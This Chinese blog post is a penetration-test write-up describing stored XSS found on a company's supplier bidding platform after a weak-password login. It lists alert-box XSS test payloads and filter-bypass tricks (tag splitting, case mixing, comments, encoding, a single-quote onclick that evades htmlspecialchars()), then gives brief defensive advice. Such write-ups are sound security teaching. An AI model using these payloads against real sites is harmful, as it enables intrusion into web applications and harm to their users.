轉自我的奇安信攻防社區文章:https://forum.butian.net/share/885
免責聲明:
滲透過程為授權測試,所有漏洞均以提交相關平臺,博客目的只為分享挖掘思路和知識傳播**
涉及知識:
xss注入及xss注入繞過
挖掘過程:
某次針對某目標信息搜集無意發現某工程公司的項目招標平臺
厚碼…求生欲滿滿嗚嗚嗚
隨手一試就是弱口令登陸, 弱口令yyds!!!
發現在供應商資料中存在不少輸入點,手癢隨手一波xss
分享一波常用測試語句:
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x οnerrοr=alert("XSS");>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
刷一波發現大部分都有過濾,但是[股份/責任人] 欄下有代碼被注入成功
語句為:"<script>alert('XSS')</script>"<
查看該部分DOM源碼:
有戲!
針對該點繼續測試,構造語句:
"<script>alert('XSS')</script>"<
“"<
“"<
url編碼:
"<script>alert("''XSS'")%3C/script%3E
小總結:
發現 / 被轉義成 =”” //
/變成 =””
</ script>轉義成<="" script=""> 而且多個/
,如///也只被轉義成 ="" 沒辦法重寫繞過
并且存在htmlspecialchars()函數: "
,意味: """
本地測試發現script便簽中存在 " 就無法彈窗
所以存在兩個問題,一方面要繞過這個"
,而且要繞過</script>
的轉義
- L先說對
</script>
的繞過思路:
轉換法:
- 前端限制繞過,直接抓包重放,或者修改html前端代碼
- 大小寫,比如:
<scrIPT>alERT(1111)</scRIPT>
用來繞過 - 拼湊:
<scri<script>pt>alert(1111)</scri</script>pt>
- 使用注釋干擾:
<scri<!--test-->pt>alert(111)</scri<!--test-->pt>
編碼法:
核心思路:后臺過濾了特殊字符,比如<script>
標簽,但該標簽可以被各種編碼,后臺不一定過濾,當瀏覽器對該編碼進行識別時,會翻譯成正常的便簽,從而執行
在使用編碼時需要主要編碼在輸出點是否會被正常是不和翻譯!
- 接下來說對
"
的繞過:
htmlspecialchars()函數是把預定義的字符轉換為HTML實體,預定義的字符是:&(和號)成為 &
" (雙引號)成為"
‘(單引號)成為'
<(小于號)成為<
>(大于號) 成為>
可引用類型:
ENT_COMPAT-默認,僅編碼雙引號
ENT_QUOMES-編碼雙引號和單引號
ENT_NOQUOTES-不編碼任何引號
eg:q'οnclick='alert(1111)'
其他函數
構造語句:
構造對"的繞過:
q'οnclick='alert(1111)'
直接產生彈窗:
重新訪問頁面該xss彈窗還在,說明注入成功
xss常見的防范措施
總的原則:輸入做過濾,輸出做轉義
過濾:根據業務需求進行過濾,比如過濾要求輸入手機號,則只允許輸入手機號格式的數字
轉義:所有輸入到前端的數據都根據輸出點進行轉義,比如輸出到HTML中進行HTML實體轉義,輸入到JS里面的進行JS轉義